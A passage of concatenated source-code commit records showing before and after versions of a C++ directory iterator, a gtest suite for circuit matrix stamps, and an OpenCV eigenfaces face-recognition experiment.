directory \\\"%s\\\"\", name );\n\t}\n}\n\nDirectory::~Directory()\n{\n\t(void)closedir( dirp );\n}\n\nvoid\nDirectory::Rewind()\n{\n\trewinddir( dirp );\n}\n\nchar *\nDirectory::Next()\n{\n\tstruct dirent *dirent;\n\n\twhile( dirent = readdir(dirp) ) {\n\t\tif( strcmp(\".\",dirent->d_name) == MATCH ) {\n\t\t\tcontinue;\n\t\t}\n\t\tif( strcmp(\"..\",dirent->d_name) == MATCH ) {\n\t\t\tcontinue;\n\t\t}\n\t\treturn dirent->d_name;\n\t}\n\treturn NULL;\n}\nIncluded condor_constants.h for definition of the MATCH constant#define _POSIX_SOURCE\n\n#include \"condor_common.h\"\n#include \"condor_constants.h\"\n#include \"condor_debug.h\"\n#include \"directory.h\"\n\nstatic char *_FileName_ = __FILE__; \/* Used by EXCEPT (see except.h) *\/\n\n\nDirectory::Directory( const char *name )\n{\n\tdirp = opendir( name );\n\tif( dirp == NULL ) {\n\t\tEXCEPT( \"Can't open directory \\\"%s\\\"\", name );\n\t}\n}\n\nDirectory::~Directory()\n{\n\t(void)closedir( dirp );\n}\n\nvoid\nDirectory::Rewind()\n{\n\trewinddir( dirp );\n}\n\nchar *\nDirectory::Next()\n{\n\tstruct dirent *dirent;\n\n\twhile( dirent = readdir(dirp) ) {\n\t\tif( strcmp(\".\",dirent->d_name) == MATCH ) {\n\t\t\tcontinue;\n\t\t}\n\t\tif( strcmp(\"..\",dirent->d_name) == MATCH ) {\n\t\t\tcontinue;\n\t\t}\n\t\treturn dirent->d_name;\n\t}\n\treturn NULL;\n}\n<|endoftext|>"} {"text":"#include \"circuits\/circuit.h\"\n#include \"matrix\/matrix.h\"\n#include \"gtest\/gtest.h\"\n#include \n#include \n\n\nusing namespace std;\n\n\nTEST(ElementStampsTest, Resistor) {\n \/\/ Arrange\n Element resistor(\"R1\", 4, 1, 2);\n int numVariables = 2;\n\n double matrix[MAX_NODES+1][MAX_NODES+2];\n init(numVariables, matrix);\n\n \/\/ Act\n resistor.applyStamp(matrix, numVariables);\n\n \/\/ Assert\n double expected[MAX_NODES+1][MAX_NODES+2] = {\n {0, 0, 0, 0},\n {0, 0.25, -0.25, 0},\n {0, -0.25, 0.25, 0}\n };\n for (int i=1; i<=numVariables; i++) {\n for (int j=1; j<=numVariables+1; j++) {\n EXPECT_EQ(expected[i][j], matrix[i][j]);\n }\n }\n}\nTests simple circuit stamps :princess:#include \"circuits\/circuit.h\"\n#include \"matrix\/matrix.h\"\n#include \"gtest\/gtest.h\"\n#include \n#include \n\n\nusing namespace std;\n\n\nTEST(ElementStampsTest, Resistor) {\n \/\/ Arrange\n Element resistor(\"R1\", 4, 1, 2);\n int numVariables = 2;\n\n double matrix[MAX_NODES+1][MAX_NODES+2];\n init(numVariables, matrix);\n\n \/\/ Act\n resistor.applyStamp(matrix, numVariables);\n\n \/\/ Assert\n double expected[MAX_NODES+1][MAX_NODES+2] = {\n {0, 0, 0, 0},\n {0, 0.25, -0.25, 0},\n {0, -0.25, 0.25, 0}\n };\n for (int i=1; i<=numVariables; i++) {\n for (int j=1; j<=numVariables+1; j++) {\n EXPECT_EQ(expected[i][j], matrix[i][j]);\n }\n }\n}\n\n\nTEST(CircuitStampsTest, SimpleCircuit) {\n \/\/ Arrange\n int numNodes = 6;\n int numElements = 9;\n int numVariables = 9;\n vector netlist(10);\n double matrix[MAX_NODES+1][MAX_NODES+2];\n init(numVariables, matrix);\n \/\/ From netlist data\/simples.net \n \/\/ Changes order (not netlist parameters order)! Value first!\n \/\/ ( name, val, a, b, ... )\n netlist[1] = Element(\"R0102\", 1, 1, 2);\n netlist[2] = Element(\"R0301\", 1, 3, 1);\n netlist[3] = Element(\"R0403\", 1, 4, 3);\n netlist[4] = Element(\"R0004\", 1, 0, 4);\n netlist[5] = Element(\"R0502\", 1, 5, 2);\n netlist[6] = Element(\"R0605\", 1, 6, 5);\n netlist[7] = Element(\"O0300\", 0, 3, 0, 1, 0); \/\/ OpAmps have value = 0!!!\n netlist[8] = Element(\"O0600\", 0, 6, 0, 5, 4);\n netlist[9] = Element(\"V0200\", 1, 2, 0);\n \/\/ Bad smell about the need of this member function...\n \/\/ Without it, only first part of matrix would be populated!\n vector dummyVariablesList(10);\n int pivotNumVariables = numNodes;\n netlist[7].addCurrentVariables(pivotNumVariables, dummyVariablesList);\n netlist[8].addCurrentVariables(pivotNumVariables, dummyVariablesList);\n netlist[9].addCurrentVariables(pivotNumVariables, dummyVariablesList);\n \/\/ Act\n applyStamps(numElements, numVariables, netlist, matrix);\n \/\/ Assert\n double expected[MAX_NODES+1][MAX_NODES+2] = {\n { 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 },\n { 0 , 2 , -1 , -1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 },\n { 0 , -1 , 2 , 0 , 0 , -1 , 0 , 0 , 0 , 1 , 0 },\n { 0 , -1 , 0 , 2 , -1 , 0 , 0 , 1 , 0 , 0 , 0 },\n { 0 , 0 , 0 , -1 , 2 , 0 , 0 , 0 , 0 , 0 , 0 },\n { 0 , 0 , -1 , 0 , 0 , 2 , -1 , 0 , 0 , 0 , 0 },\n { 0 , 0 , 0 , 0 , 0 , -1 , 1 , 0 , 1 , 0 , 0 },\n { 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 },\n { 0 , 0 , 0 , 0 , -1 , 1 , 0 , 0 , 0 , 0 , 0 },\n { 0 , 0 , -1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , -1 },\n };\n for (int i=1; i<=numVariables; i++) {\n for (int j=1; j<=numVariables+1; j++) {\n EXPECT_EQ(expected[i][j], matrix[i][j]);\n }\n }\n}\n<|endoftext|>"} {"text":"\/\/ eigenfaces.cpp : eigenfaces alg for the face recognition\r\n\/\/ - Some code is from OpenCV src\r\n\/\/\r\n\/\/ @author wenlong \r\n\/\/ \r\n\/\/ The PCA finds a linear combination of features that maximizes the total variance in data;\r\n\/\/ It doesn't consider any classes and so a lot of discriminative information may be lost when throwing components away.\r\n\/\/\r\n#include \"stdafx.h\"\r\n#include \"eigenfaces.h\"\r\n\r\n\/\/typedef vector > MatMatrix ;\r\n\/\/typedef vector > IntMatrix ;\r\n\r\nusing namespace cv;\r\nusing namespace std;\r\n\r\n\/\/namespace fs = boost::filesystem;\r\n\r\n\/\/ dataset in each subject\r\nconst int SUBJECT_DATA = 12;\r\n\r\n\r\n\/\/Preparing the data\r\n\/\/These two functions are from Face Recognition src in OpenCV doc\r\nstatic Mat norm_0_255(InputArray _src) {\r\n\tMat src = _src.getMat();\r\n\t\/\/ Create and return normalized image:\r\n\tMat dst;\r\n\tswitch (src.channels()) {\r\n\tcase 1:\r\n\t\tcv::normalize(_src, dst, 0, 255, NORM_MINMAX, CV_8UC1);\r\n\t\tbreak;\r\n\tcase 3:\r\n\t\tcv::normalize(_src, dst, 0, 255, NORM_MINMAX, CV_8UC3);\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tsrc.copyTo(dst);\r\n\t\tbreak;\r\n\t}\r\n\treturn dst;\r\n}\r\n\r\n\r\nstatic vector split(const char *str, char c = '\\\\' ) \r\n{\r\n\tvector result;\r\n\r\n\tdo\r\n\t{\r\n\t\tconst char *begin = str;\r\n\r\n\t\twhile (*str != c && *str)\r\n\t\t\tstr++;\r\n\r\n\t\tresult.push_back(string(begin, str));\r\n\t} while (0 != *str++);\r\n\r\n\treturn result;\r\n}\r\n\r\nstatic string get_dir(const string& filename, const string& outpath)\r\n{\r\n\t\/\/TODO: using the Boost for this function\r\n\t\/*\r\n\t\/\/int length = path.length();\r\n\t\/\/boost::regex replaceRegex(\"\\\\\\\\\");\r\n\r\n\t\/\/string result = boost::regex_replace(path, replaceRegex, \"\/\", boost::match_default | boost::format_all);\r\n\r\n\t\/\/result = result.substr(0, result.rfind(\"\/\"));\r\n\r\n\tboost::filesystem::path p = path;\r\n\tboost::filesystem::path p1 = p.parent_path();\r\n\tboost::filesystem::path p2 = p1.filename();\r\n\tcout << p2 << endl;\r\n\r\n\tcout << p2.string() << endl;\r\n\t\r\n\tfs::path file = filename;\r\n\tstring dir = file.parent_path().filename().string();\r\n\tcout << outpath + dir << endl;\r\n\t*\/\r\n\r\n\t\/\/e:\\wenlong\\documents\\code\\opencv\\eigenfaces\\x64\\Debug\\input_\\crop_00005\\crop_00005fa010_930831-new.jpg\r\n\tvector s = split(filename.c_str());\r\n\t\/\/cout << s[9] << endl;\r\n\r\n\t\/\/get the full output name\r\n\tstring output = outpath + s[9] + \"\\\\\";\r\n\r\n\treturn output;\r\n}\r\n\r\nstatic void read_csv_(const string& filename, vector& images, vector& labels, char separator = ';') {\r\n\tstd::ifstream file(filename.c_str(), ifstream::in);\r\n\tif (!file) {\r\n\t\tstring error_message = \"No valid input file was given, please check the given filename.\";\r\n\t\tCV_Error(CV_StsBadArg, error_message);\r\n\t}\r\n\r\n\tstring line, path, classlabel;\r\n\twhile (getline(file, line)) {\r\n\t\tstringstream liness(line);\r\n\t\tgetline(liness, path, separator);\r\n\t\tgetline(liness, classlabel);\r\n\t\tif (!path.empty() && !classlabel.empty()) {\r\n\t\t\t\/\/Mat im = imread(path, 0);\r\n\t\t\t\/\/images.push_back(imread(path, 0));\r\n\t\t\t\/\/Mat image = imread(path, CV_LOAD_IMAGE_GRAYSCALE);\r\n\r\n\t\t\timages.push_back(imread(path, CV_LOAD_IMAGE_GRAYSCALE));\r\n \/*\r\n\t\t\tMat im1 = im.clone();\r\n\t\t\tif ( !im1.isContinuous())\r\n\t\t\t{\r\n\t\t\t\/\/ .bmp files sometimes are 'padded' to multiples of 4\r\n\t\t\t\/\/ * convert the images to png, pbm or\r\n\t\t\t\/\/ * use im.clone() - the deep copy will force continuity\r\n\t\t\t\/\/\r\n\t\t\t\/\/Mat im = im.clone();\r\n\t\t\tcout <<\"out\" << endl;\r\n\t\t\t}\r\n\t\t\t*\/\r\n\r\n\t\t\tlabels.push_back(atoi(classlabel.c_str()));\r\n\t\t}\r\n\t}\r\n\r\n}\r\n\r\nstatic void get_result(vector& images, vector& labels, const string& output_folder)\r\n{\r\n \/\/ quit if there are not enough images (at least 2 images to work)\r\n\tif (images.size() <= 1)\r\n\t{\r\n\t\tstring error_message = \" Needs more images to data set ...\";\r\n\t\tCV_Error(CV_StsError, error_message);\r\n\t}\r\n\r\n\t\/\/ get the height from the first image for the output\r\n\tint height = images[0].rows;\r\n\r\n\t\/\/ For eigen and fisherfaces, the images have to flatten it to one row; the lbp one doesn't\r\n\tfor (int index = 0; index < images.size(); ++index)\r\n\t\timages[index] = images[index].reshape(1, 1);\r\n\r\n\t\/\/ the last image in each dataset is the test data\r\n\tMat testSample = images[images.size() - 1];\r\n\tint testLabel = labels[labels.size() - 1];\r\n\timages.pop_back();\r\n\tlabels.pop_back();\r\n\r\n\t\/\/ create an Eigenfaces model for face recognition and train it with the images and labels\r\n\t\/\/ class FaceRecognizer : Algorithm\r\n\t\/\/ TODO: the FaceRecognizer class, and the derived classes \r\n\tPtr model = createEigenFaceRecognizer();\r\n\tmodel->train(images, labels);\r\n\r\n\t\/\/ predicts the label of a given test image\r\n\t\/\/int predictedLabel = 0;\r\n\t\/\/double confidence = 0.0;\r\n\t\/\/model->predict(testSample, predictedLabel, confidence);\r\n\tint predictedLabel = model->predict(testSample);\r\n\r\n\t\/\/ the confidence\r\n\tstring result_message = format(\"Predicted class = %d \/ Actual class = %d .\", predictedLabel, testLabel);\r\n\tcout << result_message << endl;\r\n\r\n\t\/\/ get the eigenvalues of this Eigenfaces model\r\n\tMat eigenvalues = model->getMat(\"eigenvalues\");\r\n\t\/\/ the Eigenvectors\r\n\tMat W = model->getMat(\"eigenvectors\");\r\n\t\/\/ the sample mean from the training data\r\n\tMat mean = model->getMat(\"mean\");\r\n\r\n\t\/\/ display the mean\tpicture\r\n\t\/\/if (argc == 2)\r\n\t\/\/{\r\n\t\/\/\timshow(\"mean\", norm_0_255(mean.reshape(1, height)));\r\n\t\/\/} else {\r\n\timwrite(format(\"%s\\\\mean.png\", output_folder.c_str()), norm_0_255(mean.reshape(1, height)));\r\n\t\/\/}\r\n\r\n\t\/\/ display the Eigenfaces\r\n\tfor (int i = 0; i < min(10, W.cols); i++)\r\n\t{\r\n\t\tstring msg = format(\"Eigenvalue #%d = %.5f\", i, eigenvalues.at(i));\r\n\t\tcout << msg << endl;\r\n\r\n\t\t\/\/ get eigenvector #i\r\n\t\tMat ev = W.col(i).clone();\r\n\r\n\t\t\/\/ reshape to original size & normalize to [0...255] for imshow\r\n\t\t\/\/ev = ev.reshape(1, height);\r\n\t\tMat grayscale = norm_0_255(ev.reshape(1, height));\r\n\t\t\/\/ show the image & apply a Jet colormap for better sensing\r\n\t\tMat cgrayscale;\r\n\t\tapplyColorMap(grayscale, cgrayscale, COLORMAP_JET);\r\n\r\n\t\t\/\/ display or save\r\n\t\t\/\/if (argc == 2)\r\n\t\t\/\/{\r\n\t\t\/\/\timshow(format(\"eigenface_%d\", i), cgrayscale);\t\t\r\n\t\t\/\/} else {\r\n\t\timwrite(format(\"%s\\\\eigenface_%d.png\", output_folder.c_str(), i), norm_0_255(cgrayscale));\r\n\t\t\/\/}\r\n\t}\r\n\r\n}\r\n\r\n\r\nstatic void read_csv(const string& filename, const string& output_folder, char separator = ';') {\r\n\tstd::ifstream file(filename.c_str(), ifstream::in);\r\n\tif (!file) {\r\n\t\tstring error_message = \"No valid input file was given, please check the given filename.\";\r\n\t\tCV_Error(CV_StsBadArg, error_message);\r\n\t}\r\n\r\n\t\/\/ The vectors hold the images and corresponding labels based on the csv format\r\n\tvector images;\r\n\tvector labels;\r\n\t\/\/store the subjects\r\n\t\/\/vector > mat_matrix;\r\n\t\/\/vector > label_matrix;\r\n\t\r\n\tint num = 1;\r\n\t\/\/the index of subject\r\n\tint index = 1;\r\n\r\n\tstring line, path, classlabel;\r\n\twhile (getline(file, line)) {\r\n\t\tstringstream liness(line);\r\n\t\tgetline(liness, path, separator);\r\n\t\tgetline(liness, classlabel);\r\n\t\tif (!path.empty() && !classlabel.empty()) {\r\n\t\t\t\/\/Mat im = imread(path, 0);\r\n\t\t\t\/\/images.push_back(imread(path, 0));\r\n\t\t\tMat image = imread(path, CV_LOAD_IMAGE_GRAYSCALE);\r\n\r\n\t\t\timages.push_back(image);\r\n\r\n\t\t\t\/*\r\n\t\t\tMat im1 = im.clone();\r\n\t\t\tif ( !im1.isContinuous())\r\n\t\t\t{\r\n\t\t\t .bmp files sometimes are 'padded' to multiples of 4\r\n\t\t\t * convert the images to png, pbm or\r\n\t\t\t * use im.clone() - the deep copy will force continuity\r\n\t\t\t\r\n\t\t\tMat im = im.clone();\r\n\t\t\tcout <<\"out\" << endl;\r\n\t\t\t}\r\n\t\t\t*\/\r\n\r\n\t\t\tlabels.push_back(atoi(classlabel.c_str()));\r\n\r\n\t\t\t\/\/ for each subject\r\n\t\t\tif ((num % SUBJECT_DATA) == 0)\r\n\t\t\t{\r\n\t\t\t\t\/\/mat_matrix.push_back(images);\r\n\t\t\t\t\/\/label_matrix.push_back(labels);\r\n\r\n\t\t\t\tcout << \"For the subject num: \" << index << endl;\r\n\t\t\t\t\r\n\t\t\t\t\/\/mkdir \r\n\t\t\t\tstring dir = get_dir(path, output_folder);\r\n\t\t\t\t_mkdir(dir.c_str());\r\n\r\n\t\t\t\t\/\/ get the calculation results \r\n\t\t\t\tget_result(images, labels, dir);\r\n\r\n\t\t\t\t\/\/\r\n\t\t\t\timages.clear();\r\n\t\t\t\tlabels.clear();\r\n\r\n\t\t\t\tcout << \"-----------------------------\"<< endl;\r\n\r\n\t\t\t\t\/\/next suject\r\n\t\t\t\tindex++;\r\n\t\t\t}\r\n\r\n\t\t\tnum++;\r\n\t\t}\r\n\t}\r\n\r\n\t\/*\r\n\t\/\/print out\r\n\tfor (int i = 0; i < mat_matrix.size(); i++)\r\n\t{\r\n\t\tfor (int j = 0; j < mat_matrix[i].size(); i++)\r\n\t\t\tcout << mat_matrix[i][j] <<\":\"<< label_matrix[i][j] << \" \";\r\n\r\n\t\tcout << endl;\r\n\t}\r\n\t*\/\r\n\r\n}\r\n\r\nint main(int argc, const char* argv[])\r\n{\r\n\t\/*\r\n\tif (argc < 2)\r\n\t{\r\n\t\tcout << \"usage: \" << argv[0] << \" \" << endl;\r\n\t\texit(1);\r\n\t}\r\n\t*\/\r\n\t\r\n\targv[1] = \"e:\\\\wenlong\\\\documents\\\\code\\\\opencv\\\\eigenfaces\\\\x64\\\\Debug\\\\input_.txt\";\r\n\targv[2] = \"E:\\\\wenlong\\\\documents\\\\code\\\\opencv\\\\eigenfaces\\\\x64\\\\Debug\\\\output\\\\\";\r\n\r\n\t\/\/string output_folder = \".\";\r\n\tstring output_folder = argv[2];\r\n\t\r\n\t\/*\r\n\tif (argc == 3)\r\n\t{\r\n\t\toutput_folder = string(argv[2]);\r\n\t}\r\n\t*\/\r\n\r\n\t\/\/ get the path to the csv\r\n\tstring fn_csv = string(argv[1]);\r\n\r\n\t\/\/ The vectors hold the images and corresponding labels based on the csv format\r\n\t\/\/vector images;\r\n\t\/\/store the subjects\r\n\t\/\/vector > mat_matrix;\r\n\t\/\/vector > label_matrix;\r\n\t\r\n\t\/\/ read the csv file\r\n\ttry {\r\n\t\tread_csv(fn_csv, output_folder);\r\n\r\n\t} catch (cv::Exception& e){\r\n\t\tcerr << \"Error opening file \\\"\" << fn_csv << \"\\\". Reason: \" << e.msg << endl;\r\n\t\texit(1);\r\n\t}\r\n\r\n\t\/\/ display if we are not writing to an output folder\r\n\t\/\/if (argc == 2)\r\n\t\/\/{\r\n\t\twaitKey(0);\r\n\t\/\/}\r\n\r\n\treturn 0;\r\n}\r\nupdate\/\/ eigenfaces.cpp : eigenfaces alg for the face recognition\r\n\/\/ - Some code is from OpenCV src\r\n\/\/\r\n\/\/ @author wenlong \r\n\/\/ \r\n\/\/ The PCA finds a linear combination of features that maximizes the total variance in data;\r\n\/\/ It doesn't consider any classes and so a lot of discriminative information may be lost when throwing components away.\r\n\/\/\r\n\/\/ TODO:\r\n\/\/ 1. Generalization\r\n\/\/ - save the model of each subject\r\n\/\/ - use the trained model to test the test dataset\r\n\/\/\r\n\/\/ 2. Calculate verification rate and false accept rate\r\n\/\/\r\n#include \"stdafx.h\"\r\n#include \"eigenfaces.h\"\r\n\r\n\/\/typedef vector > MatMatrix ;\r\n\/\/typedef vector > IntMatrix ;\r\n\r\nusing namespace cv;\r\nusing namespace std;\r\n\r\n\/\/namespace fs = boost::filesystem;\r\n\r\n\/\/ dataset in each subject\r\nconst int SUBJECT_DATASET = 12;\r\n\r\n\/\/ size of the training dataset\r\nconst int TRAINING_DATASET = 6;\r\n\/\/ test dataset\r\nconst int TEST_DATASET = 6;\r\n\r\n\/\/ feature num\r\n\/\/The number of components(read: Eigenfaces) kept for this Prinicpal Component Analysis.\r\n\/\/As a hint : Theres no rule how many components(read : Eigenfaces) should be kept for good reconstruction capabilities.\r\n\/\/It is based on your input data, so experiment with the number.\r\n\/\/Keeping 80 components should almost always be sufficient.\r\nconst int FEATURE_NUM = 80;\r\n\r\n\/\/ threshold\r\ndouble THRESHOLD = 0.5;\r\n\r\n\r\n\/\/Preparing the data\r\n\/\/The function is from Face Recognition src in OpenCV doc\r\nstatic Mat norm_0_255(InputArray _src) {\r\n\tMat src = _src.getMat();\r\n\t\/\/ Create and return normalized image:\r\n\tMat dst;\r\n\tswitch (src.channels()) {\r\n\tcase 1:\r\n\t\tcv::normalize(_src, dst, 0, 255, NORM_MINMAX, CV_8UC1);\r\n\t\tbreak;\r\n\tcase 3:\r\n\t\tcv::normalize(_src, dst, 0, 255, NORM_MINMAX, CV_8UC3);\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tsrc.copyTo(dst);\r\n\t\tbreak;\r\n\t}\r\n\treturn dst;\r\n}\r\n\r\n\r\nstatic vector split(const char *str, char c = '\\\\' ) \r\n{\r\n\tvector result;\r\n\r\n\tdo\r\n\t{\r\n\t\tconst char *begin = str;\r\n\r\n\t\twhile (*str != c && *str)\r\n\t\t\tstr++;\r\n\r\n\t\tresult.push_back(string(begin, str));\r\n\t} while (0 != *str++);\r\n\r\n\treturn result;\r\n}\r\n\r\nstatic string get_dir(const string& filename, const string& outpath)\r\n{\r\n\t\/\/TODO: using the Boost lib for this function\r\n\t\/*\r\n\t\/\/int length = path.length();\r\n\t\/\/boost::regex replaceRegex(\"\\\\\\\\\");\r\n\r\n\t\/\/string result = boost::regex_replace(path, replaceRegex, \"\/\", boost::match_default | boost::format_all);\r\n\r\n\t\/\/result = result.substr(0, result.rfind(\"\/\"));\r\n\r\n\tboost::filesystem::path p = path;\r\n\tboost::filesystem::path p1 = p.parent_path();\r\n\tboost::filesystem::path p2 = p1.filename();\r\n\tcout << p2 << endl;\r\n\r\n\tcout << p2.string() << endl;\r\n\t\r\n\tfs::path file = filename;\r\n\tstring dir = file.parent_path().filename().string();\r\n\tcout << outpath + dir << endl;\r\n\t*\/\r\n\r\n\t\/\/e:\\wenlong\\documents\\code\\opencv\\eigenfaces\\x64\\Debug\\input_\\crop_00005\\crop_00005fa010_930831-new.jpg\r\n\tvector s = split(filename.c_str());\r\n\t\/\/cout << s[9] << endl;\r\n\r\n\t\/\/get the full output name\r\n\tstring output = outpath + s[9] + \"\\\\\";\r\n\r\n\treturn output;\r\n}\r\n\r\nstatic void read_csv_(const string& filename, vector& images, vector& labels, char separator = ';') {\r\n\tstd::ifstream file(filename.c_str(), ifstream::in);\r\n\tif (!file) {\r\n\t\tstring error_message = \"No valid input file was given, please check the given filename.\";\r\n\t\tCV_Error(CV_StsBadArg, error_message);\r\n\t}\r\n\r\n\tstring line, path, classlabel;\r\n\twhile (getline(file, line)) {\r\n\t\tstringstream liness(line);\r\n\t\tgetline(liness, path, separator);\r\n\t\tgetline(liness, classlabel);\r\n\t\tif (!path.empty() && !classlabel.empty()) {\r\n\t\t\t\/\/Mat im = imread(path, 0);\r\n\t\t\t\/\/images.push_back(imread(path, 0));\r\n\t\t\t\/\/Mat image = imread(path, CV_LOAD_IMAGE_GRAYSCALE);\r\n\r\n\t\t\timages.push_back(imread(path, CV_LOAD_IMAGE_GRAYSCALE));\r\n \/*\r\n\t\t\tMat im1 = im.clone();\r\n\t\t\tif ( !im1.isContinuous())\r\n\t\t\t{\r\n\t\t\t\/\/ .bmp files sometimes are 'padded' to multiples of 4\r\n\t\t\t\/\/ * convert the images to png, pbm or\r\n\t\t\t\/\/ * use im.clone() - the deep copy will force continuity\r\n\t\t\t\/\/\r\n\t\t\t\/\/Mat im = im.clone();\r\n\t\t\tcout <<\"out\" << endl;\r\n\t\t\t}\r\n\t\t\t*\/\r\n\r\n\t\t\t\/\/The labels corresponding to the images\r\n\t\t\tlabels.push_back(atoi(classlabel.c_str()));\r\n\t\t}\r\n\t}\r\n\r\n}\r\n\r\nstatic int write_file(const string& output_folder, const string& str)\r\n{\r\n\tofstream file;\r\n\tfile.open(output_folder + \"rate.txt\");\r\n\t\r\n\tfile << str << endl;\r\n\r\n\tfile.close();\r\n}\r\n\r\nstatic string get_result(ofstream& logstream, vector& images, vector& labels, const string& output_folder)\r\n{\r\n \/\/ quit if there are not enough images (at least 2 images to work)\r\n\tif (images.size() <= 1)\r\n\t{\r\n\t\tstring error_message = \" Needs more images to data set ...\";\r\n\t\tCV_Error(CV_StsError, error_message);\r\n\t}\r\n\r\n\t\/\/ get the height from the first image for the output\r\n\tint height = images[0].rows;\r\n\r\n\t\/*\r\n\t\/\/ the last image in each dataset is the test data\r\n\tMat testSample = images[images.size() - 1];\r\n\tint testLabel = labels[labels.size() - 1];\r\n\timages.pop_back();\r\n\tlabels.pop_back();\r\n\t*\/\r\n\r\n\tvector trainingSamples, testSamples;\r\n\tvector trainingLabels, testLabels;\r\n\r\n\tfor (int i = 0; i < images.size(); ++i)\r\n\t{\r\n\t\t\/\/THE EIGENFACES METHOD MAKES THE ASSUMPTION, THAT THE TRAINING AND TEST IMAGES ARE OF EQUAL SIZE\r\n\t\t\/\/ For eigen and fisherfaces, the images have to flatten it to one row; the lbp one doesn't\r\n \/\/images[i] = images[i].reshape(1, 1);\r\n\r\n\t\t\/\/ the traing dataset\r\n\t\tif (i < TRAINING_DATASET)\r\n\t\t{\r\n\t\t\ttrainingSamples.push_back(images[i].reshape(1, 1));\r\n\t\t\ttrainingLabels.push_back(labels[i]);\r\n\t\t}\r\n\r\n\t\t\/\/ the test dataset\r\n\t\tif (i >= TEST_DATASET)\r\n\t\t{\r\n\t\t\ttestSamples.push_back(images[i].reshape(1,1));\r\n\t\t\ttestLabels.push_back(labels[i]);\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t\/* ----- train the model\t ----- *\/\r\n\r\n \/\/ create an Eigenfaces model for face recognition and train it with the images and labels\r\n\t\/\/ class FaceRecognizer : Algorithm\r\n\t\/\/ TODO: the FaceRecognizer class, and the derived classes\r\n\t\/\/\r\n\t\/\/ The features num\r\n\t\/\/The number of components (read: Eigenfaces) kept for this Prinicpal Component Analysis\r\n\t\/\/int FEATURE_NUM = 10;\r\n\t\/\/ The threshold applied in the prediction. \r\n\t\/\/ If the distance to the nearest neighbor is larger than the threshold, this method returns -1\r\n\t\/\/double threshold = 10.0;\r\n\tPtr model = createEigenFaceRecognizer(FEATURE_NUM, THRESHOLD);\r\n\r\n\tmodel->train(trainingSamples, trainingLabels);\r\n\r\n \/* ----- test the model\t ----- *\/\r\n\tint num = 0;\r\n\t\/\/ test each image\r\n\tfor (int i = 0; i < testSamples.size(); ++i)\r\n\t{\r\n\t\t\/\/ predicts the label of a given test image;\r\n\t\t\/\/ -1 as label, which indicates this face is unknown\r\n\t\tint predictedLabel = -1;\r\n\t\t\/\/ Associated confidence (e.g. distance) for the predicted label.\r\n\t\tdouble confidence = 0.0;\r\n\t\tmodel->predict(testSamples[i], predictedLabel, confidence);\r\n\t\t\/\/int predictedLabel = model->predict(testSample);\r\n\r\n\t\t\/\/ the confidence\r\n\t\tstring result_message = format(\"Predicted class = %d \/ Actual class = %d .\", predictedLabel, testLabels[i]);\r\n\t\tcout << result_message << endl;\r\n\t\tlogstream << result_message << endl;\r\n\r\n\t\tif ( predictedLabel == testLabels[i])\r\n\t\t{\r\n\t\t\tnum++;\r\n\t\t}\r\n\r\n }\r\n\r\n\tdouble confidence_rate = num \/ (double)TEST_DATASET;\r\n\tstring confidence_rate_message = format(\"%.2f\", confidence_rate);\r\n\tcout << confidence_rate_message << endl;\r\n\tlogstream << confidence_rate_message << endl;\r\n\r\n\t\/* ----- display the result\t ----- *\/\r\n\r\n\t\/\/ get the eigenvalues of this Eigenfaces model\tin ordered descending\r\n\tMat eigenvalues = model->getMat(\"eigenvalues\");\r\n\t\/\/ the eigenvectors ordered by the eigenvalues\r\n\tMat W = model->getMat(\"eigenvectors\");\r\n\t\/\/ the sample mean from the training data\r\n\tMat mean = model->getMat(\"mean\");\r\n\r\n\t\/\/ display the mean\tpicture\r\n\t\/\/if (argc == 2)\r\n\t\/\/{\r\n\t\/\/\timshow(\"mean\", norm_0_255(mean.reshape(1, height)));\r\n\t\/\/} else {\r\n\timwrite(format(\"%s\\\\mean.png\", output_folder.c_str()), norm_0_255(mean.reshape(1, height)));\r\n\t\/\/}\r\n\r\n\t\/\/ display the Eigenfaces\r\n\tfor (int i = 0; i < min(10, W.cols); i++)\r\n\t{\r\n\t\tstring msg = format(\"Eigenvalue #%d = %.5f\", i, eigenvalues.at(i));\r\n\t\tcout << msg << endl;\r\n\t\tlogstream << msg << endl;\r\n\r\n\t\t\/\/ get eigenvector #i\r\n\t\tMat ev = W.col(i).clone();\r\n\r\n\t\t\/\/ reshape to original size & normalize to [0...255] for imshow\r\n\t\t\/\/ev = ev.reshape(1, height);\r\n\t\tMat grayscale = norm_0_255(ev.reshape(1, height));\r\n\t\t\/\/ show the image & apply a Jet colormap for better sensing\r\n\t\tMat cgrayscale;\r\n\t\tapplyColorMap(grayscale, cgrayscale, COLORMAP_JET);\r\n\r\n\t\t\/\/ display or save\r\n\t\t\/\/if (argc == 2)\r\n\t\t\/\/{\r\n\t\t\/\/\timshow(format(\"eigenface_%d\", i), cgrayscale);\t\t\r\n\t\t\/\/} else {\r\n\t\timwrite(format(\"%s\\\\eigenface_%d.png\", output_folder.c_str(), i), norm_0_255(cgrayscale));\r\n\t\t\/\/}\r\n\t}\r\n\r\n\r\n\t\/\/ write the file\r\n\t\/\/ofstream file;\r\n\t\/\/file.open(output_folder + \"rate.txt\");\r\n\tstring write_content = to_string(testLabels[0]) + \":\" + confidence_rate_message;\r\n\t\/\/file << write_content << endl;\r\n\t\/\/file.close();\r\n\r\n\treturn write_content;\r\n}\r\n\r\n\/* \r\n read_csv - \r\n - Load the dataset\r\n*\/\r\nstatic void read_csv(ofstream& logstream, const string& filename, const string& output_folder, char separator = ';') {\r\n\tstd::ifstream file(filename.c_str(), ifstream::in);\r\n\tif (!file) {\r\n\t\tstring error_message = \"No valid input file was given, please check the given filename.\";\r\n\t\tCV_Error(CV_StsBadArg, error_message);\r\n\t}\r\n\r\n\t\/\/ open the file\r\n\tofstream fstream;\r\n\tfstream.open(output_folder + \"rate.txt\");\r\n\r\n \/\/ The vectors hold the images and corresponding labels based on the csv format\r\n\tvector images;\r\n\tvector labels;\r\n\t\/\/store the subjects\r\n\t\/\/vector > mat_matrix;\r\n\t\/\/vector > label_matrix;\r\n\t\r\n\tint num = 1;\r\n\t\/\/the index of subject\r\n\tint index = 0;\r\n\r\n\tstring line, path, classlabel;\r\n\twhile (getline(file, line)) {\r\n\t\tstringstream liness(line);\r\n\t\tgetline(liness, path, 